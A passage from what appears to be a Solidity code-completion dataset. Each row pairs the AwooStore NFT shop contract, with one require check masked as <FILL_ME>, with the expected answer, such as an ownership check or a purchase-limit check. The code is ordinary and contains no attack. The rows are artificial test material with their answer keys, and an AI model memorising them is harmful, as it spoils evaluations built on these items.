ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
require(item.UpgradeDetails.UpgradeItem, "Item cannot be applied");
// Items can only be applied to "upgradable" tokens held by the same account
require(<FILL_ME>)
// Don't allow the item to be applied mutiple times to the same token unless the item is stackable
if(!item.UpgradeDetails.Stackable) {
require(
tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId] == 0,
"Specified item already applied to the specified token and is not stackable"
);
}
// If the item should change the base AWOO accrual rate of the item that it is being applied to, do that
// now
if(item.UpgradeDetails.UpgradeBaseAccrualRate > 0) {
awooClaimingContract.overrideTokenAccrualBaseRate(
collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId],
applicationTokenId,
item.UpgradeDetails.UpgradeBaseAccrualRate
);
}
tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId] += 1;
itemApplications[itemId][item.UpgradeDetails.ApplicableCollectionId].push(applicationTokenId);
// Tell NFC that we applied this upgrade so it can do some fun stuff
emit UpgradeItemApplied(itemId, collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId], applicationTokenId);
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| _msgSender()==ERC721Enumerable(collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId]).ownerOf(applicationTokenId),"Invalid application tokenId" | 207,382 | _msgSender()==ERC721Enumerable(collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId]).ownerOf(applicationTokenId) |
"Specified item already applied to the specified token and is not stackable" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
require(item.UpgradeDetails.UpgradeItem, "Item cannot be applied");
// Items can only be applied to "upgradable" tokens held by the same account
require(
_msgSender() == ERC721Enumerable(collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId]).ownerOf(applicationTokenId),
"Invalid application tokenId"
);
// Don't allow the item to be applied mutiple times to the same token unless the item is stackable
if(!item.UpgradeDetails.Stackable) {
require(<FILL_ME>)
}
// If the item should change the base AWOO accrual rate of the item that it is being applied to, do that
// now
if(item.UpgradeDetails.UpgradeBaseAccrualRate > 0) {
awooClaimingContract.overrideTokenAccrualBaseRate(
collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId],
applicationTokenId,
item.UpgradeDetails.UpgradeBaseAccrualRate
);
}
tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId] += 1;
itemApplications[itemId][item.UpgradeDetails.ApplicableCollectionId].push(applicationTokenId);
// Tell NFC that we applied this upgrade so it can do some fun stuff
emit UpgradeItemApplied(itemId, collectionIdAddressMap[item.UpgradeDetails.ApplicableCollectionId], applicationTokenId);
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId]==0,"Specified item already applied to the specified token and is not stackable" | 207,382 | tokenAppliedItemCountsByCollection[item.UpgradeDetails.ApplicableCollectionId][applicationTokenId][itemId]==0 |
"Exceeds transaction limit" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
constructor(address payable withdrawAddr, IAwooToken awooTokenContract, IAwooClaimingV2 claimingContract){
}
/// @notice Allows the specified item to be minted with AWOO
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with Ether
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
function mintWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be minted with both AWOO and Ether, if the item supports that
/// @param itemId The id of the item to mint
/// @param qty The number of items to mint
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function mintWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with Ether
/// @param itemId The id of the item to purchase
/// @param qty The numbers of items to purchase
function purchaseWithEth(uint16 itemId, uint256 qty) public payable whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, if the item allows it
/// @param itemId The id of the item to purchase
/// @param qty The number of items to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
function purchaseWithEthAndAwoo(uint16 itemId, uint256 qty, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims
) public payable whenStoreActive nonZeroQuantity(qty){
}
/// @notice Allows the specified item to be purchased with AWOO and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public whenStoreActive {
}
/// @notice Allows the specified item to be purchased with Ether and applied to the specified tokens
/// @param itemId The id of the item to purchase
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEth(uint16 itemId, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
/// @notice Allows the specified item to be purchased with AWOO and Ether, and the tokens the items should be applied to
/// @param itemId The id of the item to purchase
/// @param approval An object containing the signed message details authorizing us to spend the holders AWOO
/// @param requestedClaims An optional array of ClaimDetails so we can automagically claim the necessary
/// amount of AWOO, as specified through NFC
/// @param applicationTokenIds An array of supported token ids to apply the purchased items to
function purchaseAndApplyWithEthAndAwoo(uint16 itemId, AwooSpendApproval calldata approval,
ClaimDetails[] calldata requestedClaims, uint32[] calldata applicationTokenIds
) public payable whenStoreActive {
}
// TODO: Add the free mint/purchase functionality (V2)
/// @notice Applies the specified item to the list of "upgradeable" tokens
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyOwnedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
/// @notice Allows the holder of a non-mintable item to "use" it for something (TBA) cool
/// @param itemId The id of the item to use
/// @param qty The number of items to use
function useOwnedItem(uint16 itemId, uint256 qty) public whenStoreActive nonZeroQuantity(qty) {
}
/// @notice Applies the specified item to the list of "upgradeable" tokens, and burns the item if applicable
/// @dev Tokens can only be burned if the holder has explicitly allowed us to do so
/// @param itemId The id of the item to apply
/// @param applicationTokenIds An array of token ids to which the specified item will be applied
function applyMintedItem(uint16 itemId, uint32[] calldata applicationTokenIds) public whenStoreActive {
}
function applyItem(uint16 itemId, uint32[] calldata applicationTokenIds) private {
}
function applyItem(ItemDetail memory item, uint16 itemId, uint32 applicationTokenId) private {
}
function claimAwoo(ClaimDetails[] calldata requestedClaims) private {
}
/// @notice Allows authorized individuals to add supported ERC721Enumerable collections
function addCollection(address collectionAddress) external onlyOwnerOrAdmin returns(uint8 collectionId){
}
/// @notice Allows authorized individuals to remove supported ERC721Enumerable collections
function removeCollection(uint8 collectionId) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to add new items
function addItem(ItemDetail memory item) external onlyOwnerOrAdmin returns(uint16) {
}
/// @notice Allows authorized individuals to update an existing item
function updateItem(uint16 itemId, ItemDetail memory newItem) external onlyOwnerOrAdmin {
}
function validateRequestedQuantity(uint16 itemId, ItemDetail memory item, uint256 requestedQty) private view {
require(<FILL_ME>)
require(isWithinAddressLimit(itemId, item, requestedQty, _msgSender()),"Exceeds address limit");
}
function ensureAvailablity(ItemDetail memory item, uint16 itemId, uint256 requestedQty) private view {
}
function availableQty(uint16 itemId) public view returns(uint256){
}
function availableQty(ItemDetail memory item, uint16 itemId) private view returns(uint256) {
}
/// @notice Determines if the requested quantity is within the per-transaction limit defined by this item
function isWithinTransactionLimit(ItemDetail memory item, uint256 requestedQty) public pure returns(bool) {
}
/// @notice Determines if the requested quantity is within the per-address limit defined by this item
function isWithinAddressLimit(uint16 itemId, ItemDetail memory item, uint256 requestedQty, address recipient) public view returns(bool) {
}
/// @notice Returns an array of tokenIds and application counts to indicate how many of the specified items
/// were applied to the specified tokenIds
function checkItemTokenApplicationStatus(uint8 collectionId, uint16 itemId, uint256[] calldata tokenIds
) external view returns(uint256[] memory, uint256[] memory){
}
function validateEtherValue(ItemDetail memory item, uint256 qty) private {
}
function validateItem(uint16 itemId) private view returns(ItemDetail memory item){
}
function validateItem(ItemDetail memory item) private view {
}
/// @notice Allows authorized individuals to swap out claiming contract
function setAwooClaimingContract(IAwooClaimingV2 awooClaiming) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-1155 collection contract, if absolutely necessary
function setAwooCollection(IAwooMintableCollection awooCollectionContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to swap out the ERC-20 AWOO contract, if absolutely necessary
function setAwooTokenContract(IAwooToken awooTokenContract) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate this contract
function setActive(bool active) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to activate/deactivate specific items
function setItemActive(uint16 itemId, bool isActive) external onlyOwnerOrAdmin {
}
/// @notice Allows authorized individuals to specify which address Ether and other arbitrary ERC-20 tokens
/// should be sent to during withdraw
function setWithdrawAddress(address payable addr) external onlyOwnerOrAdmin {
}
function withdraw(uint256 amount) external onlyOwnerOrAdmin {
}
/// @dev Any random ERC-20 tokens sent to this contract will be locked forever, unless we rescue them
function rescueArbitraryERC20(IERC20 token) external {
}
modifier nonZeroQuantity(uint256 qty) {
}
modifier whenStoreActive() {
}
}
| isWithinTransactionLimit(item,requestedQty),"Exceeds transaction limit" | 207,382 | isWithinTransactionLimit(item,requestedQty) |
"Exceeds address limit" | pragma solidity 0.8.12;
contract AwooStore is OwnerAdminGuard {
struct AwooSpendApproval {
bytes32 Hash;
bytes Sig;
string Nonce;
}
enum PaymentType {
AWOO,
ETHER,
AWOO_AND_ETHER,
FREE
}
struct UpgradeDetail {
uint8 ApplicableCollectionId;
uint256 UpgradeBaseAccrualRate;
bool UpgradeItem;
bool Stackable;
}
struct ItemDetail {
IAwooMintableCollection.TokenDetail TokenDetails;
UpgradeDetail UpgradeDetails;
string MetadataUri;
uint256 TokenId;
PaymentType PmtType;
uint256 EtherPrice;
uint256 AWOOPrice;
uint256 TotalAvailable;
bool Burnable;
bool NonMintable;
bool Active;
uint256 PerAddressLimit;
uint256 PerTransactionLimit;
}
address payable public withdrawAddress;
IAwooToken public awooContract;
IAwooClaimingV2 public awooClaimingContract;
IAwooMintableCollection public awooMintableCollectionContract;
bool public storeActive;
/// @dev Helps us track the supported ERC721Enumerable contracts so we can refer to them by their "id" to save a bit of gas
uint8 public collectionCount;
/// @dev Helps us track the available items so we can refer to them by their "id" to save a bit of gas
uint16 public itemCount;
/// @notice Maps the supported ERC721Enumerable contracts to their Ids
mapping(uint8 => address) public collectionIdAddressMap;
/// @notice Maps the available items to their Ids
mapping(uint16 => ItemDetail) public itemIdDetailMap;
/// @notice Maps the number of purchased items when those items cannot be minted
mapping(uint16 => uint256) public nonMintedItemPurchaseCounts;
/// @notice Maps item ownership counts
// owner => (itemId, count). This is only relevant for items that weren't minted
mapping(address => mapping(uint16 => uint256)) public ownedItemCountsByOwner;
/// @notice Keeps track of how many of each token has been minted by a particular address
// owner => (itemId, count)
mapping(address => mapping(uint16 => uint256)) public mintedItemCountsByAddress;
/// @notice Keeps track of "upgrade" item applications
mapping(uint16 => mapping(uint8 => uint256[])) public itemApplications;
/// @notice Keeps track of "upgrade" items by the collection that they were applied to
// collectionId => (tokenId, (itemId => count))
mapping(uint8 => mapping(uint32 => mapping(uint16 => uint256))) public tokenAppliedItemCountsByCollection;
/// @notice A method that tells us that an "upgrade" item was applied so we can do some cool stuff
event UpgradeItemApplied(uint16 itemId, address applicationCollectionAddress, uint256 appliedToTokenId);
// ;)
event NonMintedItemUsed(uint16 itemId, address usedBy, uint256 qty);
